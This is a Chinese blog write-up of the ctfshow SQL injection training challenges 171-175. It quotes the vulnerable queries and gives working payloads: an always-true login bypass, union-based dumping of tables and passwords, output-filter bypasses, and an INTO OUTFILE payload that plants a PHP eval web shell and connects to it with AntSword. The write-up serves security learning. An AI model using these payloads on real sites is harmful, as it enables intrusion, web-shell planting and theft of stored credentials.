ctfshow web入门 sql注入 171-175

发布时间 2023-04-10 18:46:10作者: kazie

171-175 同属无过滤绕过(并未对 sql 语句过滤,仅对查询结果过滤)

重点

  1、了解万能密码

  2、了解 sql 语句中字符串函数

  3、了解备份功能(导入/导出数据)

  4、蚁剑如何连接数据库

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

没有任何过滤,尝试万能密码

payload

' or 1=1 --+   --万能密码

--实际执行的 sql语句 为
select username,password from user where username !='flag' and id = '"' or 1=1 --+ limit 1;

-- 解析
where条件中存在三个条件
  1)username !='flag'
  2)id ='"'
  3)1=1
条件1 和 条件2 用 and 连接,再与 条件3 用 or 连接

and 优先级高于 or
由于 条件2 为假,所以 or 的前半句为假,也就是 username !='flag' and id = '"' 为假
而 or 后半句 1=1 为真,因此 where 条件为真
相当于执行 select username,password from user

 

 

web172

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查 username 是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

 

payload

--联合注入
  --判断字段数
1'  order by 2 --+
  --判断使用字段位置
-1'  union select 1,2 --+
    --爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  --+
    --爆字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'  --+
    --爆字段值
-1' union select 1,group_concat(password) from ctfshow_user2  --+



--思路扩展
--绕过题目中对 username 的if判断
--主要考察对sql语句返回结果集的理解

--法一
--题目使用 username 与 password 两个字段,我们知道一共有 id,username,password 三个字段
--这里我们使用 id 与 password 绕过对 username 的判断
-1'  union select id,password from ctfshow_user2 where username='flag' --+

--法二 
--这里我们对 username 进行 hex() 转换
-1'  union select hex(username),password from ctfshow_user2 where username='flag' --+

--法三
--直接不显示 username  
-1'  union select 1,password from ctfshow_user2 where username='flag' --+

--法四
--使用字符串替换
-1'  union select replace(username,'flag',1),password from ctfshow_user2 where username='flag' --+

--其他方法都是使用字符串函数对 username 进行处理
--思路要打开

 

 

 

web173

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查结果集是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

对查询结果进行 json 数据转换

payload

同 web172

 

 

web174

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 flag 是由 16 进制组成,很显然,要对数字进行替换,0-9 共十个数字,替换十次

payload

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B') ,3,'C') ,4,'D') ,5,'E') ,6,'F') ,7,'G') ,8,'H') ,9,'I') ,0,'J')  from ctfshow_user4 where username='flag'--+

 

 web175

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

查询结果不能在 ascii码 的范围内,但使用了 json_encode() 函数进行 json 编码,json 编码后是绕不过前面的正则,所以需要其他方法

payload

-1' union select 1,'<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' --+

查看能否访问 1.php 文件

 

 

 

蚁剑连接

 1、右击添加数据

  1)进行连接

  2)查看 api/config.php,获取账户密码

    为什么会想到查看 api/config.php,因为 api 有接口的意思,config 有配置的意思

 

 

 

 

2、右击数据操作

  1)先检测数据库类型

 

 

   2)添加数据库

 

  3)进入 ctfshow_web 库 ctfshow_user5 表获取 flag